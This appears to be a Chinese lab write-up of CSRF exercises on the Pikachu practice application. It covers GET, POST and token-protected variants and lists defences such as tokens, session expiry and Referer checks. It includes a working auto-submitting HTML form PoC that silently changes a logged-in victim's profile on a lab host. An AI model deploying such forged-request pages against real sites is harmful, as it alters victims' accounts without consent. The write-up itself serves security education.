Pikachu——CSRF

1、CSRF(GET)

  • 正常用户allen是登录状态:
    在这里插入图片描述

  • allen修改个人信息的功能。
    在这里插入图片描述

  • 攻击者在了解整改修改个人信息的全过程后。构造攻击手法,通过BurpSuite生成PoC:
    在这里插入图片描述

  • 攻击者将PoC的修改成自己想要的信息,并保存成html文件
    在这里插入图片描述

  • 攻击者将上图中的html文件放到自己的站点,生成恶意链接,发给被攻击者,引诱被攻击者在登录“pikachu”的状态下访问恶意链接。从而,使攻击者达到攻击目标。
    在这里插入图片描述

  • 被攻击者的个人信息已被修改。
    在这里插入图片描述

2、CSRF(POST)

  • 修改的信息是以POST的方式请求的, 所以攻击者则不能通过GET的方式构造恶意URL来攻击。

  • 用户修改信息的请求:
    在这里插入图片描述

  • 通过BurpSuite生成POC:
    在这里插入图片描述

  • 攻击者将PoC的修改成自己想要的信息,并保存成html文件
    在这里插入图片描述

  • 攻击者将上图中的html文件放到自己的站点,生成恶意链接,发给被攻击者,引诱被攻击者在登录“pikachu”的状态下访问恶意链接。从而,使攻击者达到攻击目标。
    在这里插入图片描述

  • 被攻击者的个人信息已被修改。
    在这里插入图片描述

  • 另附:访问恶意链接后直接给攻击的PoC:

<html>
<head>
	<meta charset="UTF-8">
	<title>Title</title>
</head>
<body>
<form action="http://192.168.83.144/pikachu/vul/csrf/csrfpost/csrf_post_edit.php" method="POST" target="csrf-frame" id="csrf-form">
    <input type="hidden" name="sex" value="hacker" />
    <input type="hidden" name="phonenum" value="hacker" />
    <input type="hidden" name="add" value="hacker" />
    <input type="hidden" name="email" value="hacker" />
</form>
<script>document.getElementById("csrf-form").submit()</script>
</body>
</html>

3、CSRF Token

  • 点击修改个人信息
    在这里插入图片描述
  • 抓包,发现修改个人信息的响应包中有token,并且每次请求的token的值都不一样(随机数):
    在这里插入图片描述
  • 在提交要修改的个人信息时的请求包都会携带token
    在这里插入图片描述
  • 向服务器发起请求时,需要提交token参数,而服务器在收到请求时,会优先检查token,只有token正确,才会处理客户端的请求。
    由于Token是随机的,我们就无法伪造URL了。

防护措施

  • 增加Token验证(常用做法)
    对关键操作增加Token参数,token必须随机,每次都不一样
  • 关于安全的会话管理(避免会话被利用)
    不要在客户端保存敏感信息(比如身份验证信息)
    退出、关闭浏览器时的会话过期机制
    设置会话过机制,比如15分钟无操作,则自动登录超时
  • 访问控制安全管理
    敏感信息的修改时需要身份进行二次认证,比如修改账号密码,需要判断旧密码
    敏感信息的修改使用POST,而不是GET
    通过HTTP头部中的REFERER来限制原页面
  • 增加验证码
    一般在登录(防暴力破解),也可以用在其他重要信息操作的表单中(需要考虑可用性)
  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值